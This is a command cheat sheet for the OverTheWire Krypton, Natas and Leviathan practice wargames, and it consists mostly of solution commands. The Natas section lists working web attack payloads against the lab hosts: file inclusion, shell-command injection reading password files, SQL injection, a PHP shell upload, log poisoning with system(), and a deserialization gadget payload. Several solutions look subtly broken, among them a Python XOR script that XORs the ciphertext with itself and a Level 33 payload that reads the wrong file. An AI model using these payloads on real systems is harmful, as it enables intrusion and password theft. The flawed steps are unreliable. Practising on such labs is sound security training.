Krypton Commands

Level 0

Tools Used: WSL (Windows Subsystem for Linux)

Commands:

```
echo "S1JZUFRPTklTR1JFQVQ=" | base64 -d
ssh -p 2231 krypton1@krypton.labs.overthewire.org
```

Level 1

Commands:

- cd /krypton/krypton1
- ls
- cat README
- cat krypton2

Decrypt ROT13 encrypted password:

```
echo "YRIRY GJB CNFFJBEQ EBGGRA" | tr "[A-Z]" "[N-ZA-M]"
```

Logout and login into krypton2 using password **ROTTEN**.

Level 2

Commands:

```
cd /krypton/krypton2
ls
cat krypton3
cat README
```

Steps:

- mktemp -d
- cd /tmp/<directory_name>
- ln -s /krypton/krypton2/keyfile.dat
- chmod 777 .
- /krypton/krypton2/encrypt /etc/issue
- ls
- cat ciphertext
- nano ptext
- /krypton/krypton2/encrypt ptext
- cat /krypton/krypton2/krypton3 | tr "[MNOPQRSTUVWXYZABCDEFGHIJKL]" "[A-Z]"

Level 3

Commands:

```
cd /krypton/krypton2
cat krypton3
cat README
```

Steps:

- Create temp directory and symbolic link.

- Encrypt a file and map the key.

Decrypt krypton3: cat /krypton/krypton2/krypton3 | tr "[MNOPQRSTUVWXYZABCDEFGHIJKL]" "[A-Z]"

Level 4

SSH into krypton4:

ssh -p 2231 krypton4@krypton.labs.overthewire.org

Steps:

- Copy contents from found1 file.
- Use Vigenère cipher breaker with key length **6**.
- Decrypt krypton5 with obtained key.

Level 5

Steps:

- Use **Kasiski examination** to find key length.
- Likely key length: **9**.
- Use online Vigenère breaker.
- Find password: **RANDOM**

Level 6

Steps:

- **Recognize stream cipher pattern (repeats every 30 chars).**
- **Use encryption tool /krypton/krypton6/encrypt.**

Sample Python Script:

```
ciphertext = open('ciphertext', 'rb').read()
plaintext = b''

for i in range(len(ciphertext)):
    key_byte = ciphertext[i] ^ ciphertext[i % 30]
    plaintext += bytes([key_byte])

print(plaintext)
```

Level 7

Steps:

- **Decrypt using advanced cipher analysis.**
- **Methods similar to Level 6 or based on further file analysis.**
-

Notes:

- **base64 -d: Base64 decode.**
- **tr: Character substitution.**

- **ssh: Secure remote login.**
- **mktemp, ln, chmod, cat, nano: Linux utilities.**

Natas Commands

Level 0:
Tool: Opera gx browser, developer tool
Cmd:
http://natas0.natas.labs.overthewire.org
open developer tool and find the password

Level 1:
Tool: Opera gx browser, developer tool
Cmd:
http://natas1.natas.labs.overthewire.org
open developer tool and find the password

Level 2
Tools: curl
Commands:
curl -u natas2 http://natas2.natas.labs.overthewire.org/files/users.txt : Access the hidden file.
grep natas3 : Filter the password.

Level 3
Tools: curl
Commands:
curl -u natas3 http://natas3.natas.labs.overthewire.org/robots.txt : Find the disallowed directory.
curl -u natas3 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt : Retrieve the password.

Level 4
Tools: curl
Commands:
curl -u natas4 -H "Referer: http://natas5.natas.labs.overthewire.org/"
http://natas4.natas.labs.overthewire.org : Spoof the Referer header.

Level 5
Tools: curl

Commands:
curl -u natas5 --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org : Manipulate the cookie.

Level 6
Tools: curl
Commands:
curl -u natas6 http://natas6.natas.labs.overthewire.org/includes/secret.inc : Fetch the secret.
curl -u natas6 -d "secret=FOEIUWGHFEEUHOFUOIU&submit=Submit"
http://natas6.natas.labs.overthewire.org : Submit the secret.

Level 7
Tools: curl
Commands:
curl -u natas7 http://natas7.natas.labs.overthewire.org/?page=/etc/natas_webpass/natas8 : Exploit LFI vulnerability.

Level 8
Tools: xxd, rev
Commands:
echo "encoded_secret" | xxd -r -p | rev : Decode hex and reverse the string.

Level 9
Tools: curl
Commands:
curl -u natas9 -d "needle=; cat /etc/natas_webpass/natas10; #"
http://natas9.natas.labs.overthewire.org : Inject command.

Level 10
Tools: curl
Commands:
curl -u natas10 -d "needle=. /etc/natas_webpass/natas11 #" http://natas10.natas.labs.overthewire.org : Bypass input filter.

Level 11
Tools: Custom PHP/Python script
Commands:

php xor_decrypt_script.php : Decode XOR-encoded cookie.
curl -u natas11 --cookie "data=decrypted_cookie" : Send forged cookie.

Level 12
Tools: curl
Commands:
curl -u natas12 -F "filename=payload.php" -F "uploadedfile=@payload.php"
http://natas12.natas.labs.overthewire.org : Upload PHP shell

Level 13
Tools: curl
Commands:
curl -u natas13 -F "filename=payload.php" -F "uploadedfile=@payload.php" -H "Content-Type: image/jpeg" http://natas13.natas.labs.overthewire.org : Bypass MIME check.

Level 14
Tools: curl
Commands:
curl -u natas14 -d "username=\" OR 1=1 #" http://natas14.natas.labs.overthewire.org : SQL injection.

Level 15
Tools: Python script (requests library)
Commands:
python3 blind_sqli_script.py : Brute-force password via binary search.

Level 16
Tools: curl
Commands:
curl -u natas16 -d "needle=\$(grep -E ^a /etc/natas_webpass/natas17)"
http://natas16.natas.labs.overthewire.org : Command injection with grep.

Level 17
Tools: Python script (requests, time)
Commands:
python3 time_based_sqli.py : Exploit time delays to extract password.

Level 18
Tools: curl
Commands:
curl -u natas18 --cookie "PHPSESSID=119" http://natas18.natas.labs.overthewire.org : Session fixation.

Level 19
Tools: Python script
Commands:
python3 session_bruteforce.py : Brute-force hex-encoded session IDs.

Level 20
Tools: curl
Commands:
curl -u natas20 -d "name=admin%0Aadmin 1" http://natas20.natas.labs.overthewire.org : Poison session file.

Level 21
Tools: curl
Commands:
curl -u natas21 --cookie "PHPSESSID=123" http://natas21-experimenter.natas.labs.overthewire.org?admin=1 : Cross-page cookie manipulation.

Level 22
Tools: curl
Commands:
curl -u natas22 -L --cookie "PHPSESSID=123" http://natas22.natas.labs.overthewire.org : Redirect handling.

Level 23
Tools: curl
Commands:
curl -u natas23 "http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou" : Bypass strlen check.

Level 24
Tools: curl
Commands:
curl -u natas24 -d "passwd[]=admin" http://natas24.natas.labs.overthewire.org : Array input bypass.

Level 25
Tools: curl
Commands:
curl -u natas25 -H "User-Agent: <?php system('cat /etc/natas_webpass/natas26'); ?>" http://natas25.natas.labs.overthewire.org : Log poisoning.

Level 26
Tools: PHP script
Commands:
php serialize_payload.php : Generate malicious image.
curl -u natas26 -F "uploadedfile=@payload.jpg" http://natas26.natas.labs.overthewire.org : Upload and trigger.

Level 27
Tools: curl
Commands:
curl -u natas27 -d "username=natas28%27%20UNION%20SELECT%20password%20FROM%20users%20WHERE%20username=%27natas28%27%20%23" http://natas27.natas.labs.overthewire.org : UNION SQLi.

Level 28
Tools: Python script (base64)
Commands:
python3 encode_payload.py | xargs curl -u natas28 -d "query=" http://natas28.natas.labs.overthewire.org : Encode and send payload.

Level 29
Tools: curl
Commands:
curl -u natas29 http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/natas_webpass/natas30 : Command injection.

Level 30
Tools: curl
Commands:
curl -u natas30 -d "username=natas31&password='' OR 1=1" http://natas30.natas.labs.overthewire.org : Perl SQLi.

Level 31
Tools: curl
Commands:
curl -u natas31 -X POST --data-urlencode "file=ARGV" --data-urlencode "file=|cat+/etc/natas_webpass/natas32" http://natas31.natas.labs.overthewire.org : Parameter pollution.

Level 32
Tools: curl

Commands:
curl -u natas32 "http://natas32.natas.labs.overthewire.org/?getfile=|echo%20'/etc/natas_webpass/natas33'%20|%20xargs%20cat" : Command injection.

Level 33
Tools: PHPGGC (GadgetChain tool)
Commands:
phpggc -u --phar phar Laravel/RCE1 system 'cat /etc/natas_webpass/natas33' > payload.phar : Generate payload.
curl -u natas33 -F "uploadedfile=@payload.phar" http://natas33.natas.labs.overthewire.org : Upload and trigger.

Leviathan Lab

Level 0

Tools: ssh, grep

Commands:

- ssh leviathan0@leviathan.labs.overthewire.org -p 2223 # Log in with password "leviathan0"
- ls -la # Find hidden directory .backup
- grep "password" .backup/bookmarks.html # Extract password for level 1

Level 1

Tools: ltrace, strings

Commands:

- ./check # SUID binary prompting for a password
- ltrace ./check # Trace library calls to find "sex" as the password
- strings ./check # Alternative: extract hardcoded password from binary
- # After gaining shell: cat /etc/leviathan_pass/leviathan1

Level 2

Tools: ln, watch

Commands:

- mkdir /tmp/yourdir && cd /tmp/yourdir
- touch dummy
- ln -s /etc/leviathan_pass/leviathan3 passfile # Create symlink
- while true; do ~/printfile passfile; done # Exploit TOCTOU race condition

---

Level 3

Tools: ltrace

Commands:

- ltrace ./level3 # Trace strcmp() to find password "snlprintf"
- ./level3 # Enter password to spawn a shell
- cat /etc/leviathan_pass/leviathan3

Level 4

Tools: strings

Commands:

- strings ./level4 # Find password "cLibX"
- ./level4 # Enter password to get shell
- cat /etc/leviathan_pass/leviathan4

Level 5

Tools: ln

Commands:

ln -s /etc/leviathan_pass/leviathan5 /tmp/file.log
./leviathan5 # Binary reads symlinked password file

Level 6

Tools: Bash loop

Commands

for i in {0000..9999}; do echo $i | ~/leviathan6; done # Brute-force 4-digit code (e.g., 7123)
After successful code: cat /etc/leviathan_pass/leviathan6

Level 7

Tools: gdb

Commands:

- gdb -q ./leviathan7
- (gdb) disass main # Analyze assembly for password comparison
- (gdb) break *main+XXX # Set breakpoint before strcmp
- (gdb) run # Inspect registers/memory for password (e.g., "mEh6LbHx")

Level 8

Tools: None (final level)

Commands:

cat /etc/leviathan_pass/leviathan8 # Password is stored here after completing level 7

Notes:

- Replace /tmp/yourdir with a unique directory to avoid conflicts.
- For gdb (level 7), analyze the binary's assembly to locate the password comparison.
- Use ltrace/strings to reverse-engineer binaries in most levels.
- Passwords are stored in /etc/leviathan_pass/leviathanX.